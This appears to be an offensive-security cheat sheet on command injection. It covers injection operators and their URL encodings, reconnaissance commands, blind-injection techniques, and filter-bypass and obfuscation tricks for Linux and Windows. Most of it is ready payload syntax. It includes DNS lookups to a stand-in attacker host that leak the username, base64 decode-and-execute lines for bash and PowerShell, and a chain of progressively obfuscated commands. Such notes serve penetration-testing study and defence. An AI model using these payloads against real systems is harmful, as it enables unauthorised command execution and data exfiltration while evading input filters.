# Command Injection

Occurs when improperly sanitized user input is used to perform operations.\
It allows the attacker to execute commands on the host operating system.

**Types**: In-Band and Blind.

## Tools

<table><thead><tr><th width="233">Tool</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://github.com/Bashfuscator/Bashfuscator">bashfuscator</a></td><td>Obfuscation <mark style="color:green;">Linux</mark><br><code>bashfuscator -l</code>  <em>(list of techniques)</em><br><code>bashfuscator -c "&#x3C;COMMAND>" -s 1 -t 1 --no-mangling --layers 1</code></td></tr><tr><td><a href="https://github.com/danielbohannon/Invoke-DOSfuscation">Invoke-DOSfuscation</a></td><td>Obfuscation <mark style="color:blue;">Windows</mark><br><code>Import-Module .\Invoke-DOSfuscation.psd1</code><br><code>Invoke-DOSfuscation</code><br><code>> SET COMMAND &#x3C;COMMAND></code><br><code>> encoding</code><br><code>> 1</code></td></tr></tbody></table>

## Injection Operator

<table><thead><tr><th width="158">Operator</th><th width="130">Character</th><th width="155">URL-Encoded</th><th>Executed Command</th></tr></thead><tbody><tr><td>Semicolon</td><td><code>;</code></td><td><code>%3b</code></td><td>Both</td></tr><tr><td>New Line</td><td><code>\</code></td><td><code>%0a</code></td><td>Both</td></tr><tr><td>Background</td><td><code>&#x26;</code></td><td><code>%26</code></td><td>Both <em>(second output generally shown first)</em></td></tr><tr><td>Pipe</td><td><code>|</code></td><td><code>%7c</code></td><td>Both <em>(only second output is shown)</em></td></tr><tr><td>AND</td><td><code>&#x26;&#x26;</code></td><td><code>%26%26</code></td><td>Both <em>(only if first succeeds)</em></td></tr><tr><td>OR</td><td><code>||</code></td><td><code>%7c%7c</code></td><td>Second <em>(only if first fails)</em></td></tr><tr><td>Sub-Shell</td><td><code>``</code></td><td><code>%60%60</code></td><td>Both <em>(Linux-only)</em></td></tr><tr><td>Sub-Shell</td><td><code>$()</code></td><td><code>%24%28%29</code></td><td>Both <em>(Linux-only)</em></td></tr></tbody></table>

### Useful Commands

| Purpose of command    | Linux         | Windows         |
| --------------------- | ------------- | --------------- |
| Name of current user  | `whoami`      | `whoami`        |
| Operating system      | `uname -a`    | `ver`           |
| Network configuration | `ifconfig`    | `ipconfig /all` |
| Network connections   | `netstat -an` | `netstat -an`   |
| Running processes     | `ps -ef`      | `tasklist`      |

### Blind

{% tabs %}
{% tab title="Time Delay" %}
{% code overflow="wrap" %}
```bash
... && sleep 10 &  # unix only
```
{% endcode %}

{% code overflow="wrap" %}
```bash
... && ping -c 10 127.0.0.1 &  # unix and windows
```
{% endcode %}
{% endtab %}

{% tab title="Web & DNS" %}
{% code overflow="wrap" %}
```bash
... & whoami > /var/www/static/whoami.txt &
```
{% endcode %}

{% code overflow="wrap" %}
```bash
... & nslookup atacker.com &
```
{% endcode %}

{% code overflow="wrap" %}
```bash
... & nslookup `whoami`.atacker.com &
```
{% endcode %}
{% endtab %}
{% endtabs %}

## Bypassing Filters

### Space

<table data-header-hidden><thead><tr><th width="241"></th><th></th></tr></thead><tbody><tr><td>TAB</td><td><code>%09</code></td></tr><tr><td>IFS</td><td><code>$IFS</code><br><code>${IFS}</code></td></tr><tr><td>Bash Brace Expansion </td><td><code>{ls,-la}</code></td></tr></tbody></table>

### Characters in Variables

<table data-header-hidden><thead><tr><th width="241"></th><th></th></tr></thead><tbody><tr><td>Linux Environment Variables</td><td><strong><code>printenv</code></strong><br><code>${&#x3C;VARIABLE>:&#x3C;START>:&#x3C;LENGTH>}</code><br><em><code>${PATH:0:1}</code> or <code>${LS_COLORS:10:1}</code></em></td></tr><tr><td>Windows CMD</td><td><strong><code>set</code></strong><br><code>%&#x3C;VARIABLE>:~&#x3C;START>,&#x3C;LENGTH>%</code><br><em><code>%HOMEPATH:~0,1%</code> or <code>%HOMEPATH:~6,-11%</code></em></td></tr><tr><td>Windows PowerShell</td><td><strong><code>[Get-ChildItem/cgi/ls/dir] env:</code></strong><br><code>$env:&#x3C;VARIABLE>[&#x3C;CHAR>]</code><br><code>$env:&#x3C;VARIABLE>.Substring(&#x3C;FROM>, &#x3C;TO>)</code><br><em><code>$env:HOMEPATH[0]</code> or <code>$env:HOMEPATH.Substring(0, 2)</code></em></td></tr></tbody></table>

### Shift Characters

<table data-header-hidden><thead><tr><th width="241"></th><th></th></tr></thead><tbody><tr><td>Shift 1 →</td><td><code>man ascii</code>  <em>(take previous character X)</em> <br><code>$(tr '!-}' '"-~'&#x3C;&#x3C;&#x3C;X)</code></td></tr></tbody></table>

### Obfuscation

{% tabs %}
{% tab title="Linux" %}
<table data-header-hidden><thead><tr><th width="296"></th><th></th></tr></thead><tbody><tr><td><code>''</code> and <code>""</code> in command name</td><td><code>w’h’oa’m’i</code> <br><code>w"h"oa"m"i</code></td></tr><tr><td><code>\</code> and <code>$@</code> in command name</td><td><code>w\ho\a\mi</code><br><code>wh$@oami</code></td></tr><tr><td><code>$()</code> in command name</td><td><code>wh$()oami</code> <br><code>wh$(random)oami</code></td></tr><tr><td>Case-Sensitive<br><code>${VAR,,}</code> takes the variable in lowercase, <code>${VAR^^}</code> in uppercase</td><td><code>$(tr "[A-Z]" "[a-z]"&#x3C;&#x3C;&#x3C;"WhOaMi")</code><br><code>$(a="WhOaMi";printf %s "${a,,}")</code>  <em>(in /bin/bash)</em><br><code>$(a="WhOaMi";echo ${a,,})</code></td></tr><tr><td>Inverse</td><td><code>echo 'whoami' | rev</code>  <em>(get inverse)</em><br><code>$(rev&#x3C;&#x3C;&#x3C;'imaohw')</code></td></tr><tr><td>Encoding</td><td><code>bash&#x3C;&#x3C;&#x3C;$(base64 -d&#x3C;&#x3C;&#x3C;BASE64)</code></td></tr></tbody></table>
{% endtab %}

{% tab title="Windows" %}
<table data-header-hidden><thead><tr><th width="296"></th><th></th></tr></thead><tbody><tr><td><code>''</code> and <code>""</code> in command name</td><td><code>w’h’oa’m’i</code> <br><code>w"h"oa"m"i</code></td></tr><tr><td><code>^</code> in command name</td><td><code>wh^oami</code></td></tr><tr><td><code>$()</code> in command name</td><td><code>wh$()oami</code> <br><code>wh$(random)oami</code></td></tr><tr><td>Case-Insensitive</td><td><code>wHoAmi</code></td></tr><tr><td>Inverse</td><td><code>"whoami"[-1..-20] -join ''</code>  <em>(get inverse)</em><br><code>iex "$('imaohw'[-1..-20] -join '')"</code></td></tr><tr><td>Encoding</td><td><code>echo -n whoami | iconv -f utf-8 -t utf-16le | base64</code>  <em>(get base64 from linux)</em><br><code>iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('BASE64')))"</code></td></tr></tbody></table>
{% endtab %}
{% endtabs %}

_**Note:** The commands seen can be written in many ways based on the filtered characters, try different ones (ex. `|` instead of `<<<` or `sh` for command execution)_

<pre><code><strong># EXAMPLE
</strong><strong>find /usr/share/ | grep root | grep mysql | tail -n 1
</strong>tail -n 1 &#x3C;&#x3C;&#x3C; $(grep mysql &#x3C;&#x3C;&#x3C; $(grep root &#x3C;&#x3C;&#x3C; $(find /usr/share/)))
tail -n 1 &#x3C;&#x3C;&#x3C;$(grep mysql &#x3C;&#x3C;&#x3C;$(grep root &#x3C;&#x3C;&#x3C;$(find /usr/share/)))
tail%09-n%091%09&#x3C;&#x3C;&#x3C;$(grep%09mysql%09&#x3C;&#x3C;&#x3C;$(grep%09root%09&#x3C;&#x3C;&#x3C;$(find%09/usr/share/)))
ta$@il%09-n%091%09&#x3C;&#x3C;&#x3C;$(gr$@ep%09mysql%09&#x3C;&#x3C;&#x3C;$(gr$@ep%09root%09&#x3C;&#x3C;&#x3C;$(fin$@d%09/usr/share/)))
ta$@il%09-n%091%09&#x3C;&#x3C;&#x3C;$(gr$@ep%09mysql%09&#x3C;&#x3C;&#x3C;$(gr$@ep%09root%09&#x3C;&#x3C;&#x3C;$(fin$@d%09${PATH:0:1}usr${PATH:0:1}share${PATH:0:1})))
ta$%40il%09-n%091%09&#x3C;&#x3C;&#x3C;$(gr$%40ep%09mysql%09&#x3C;&#x3C;&#x3C;$(gr$%40ep%09root%09&#x3C;&#x3C;&#x3C;$(fin$%40d%09${PATH:0:1}usr${PATH:0:1}share${PATH:0:1})))
</code></pre>
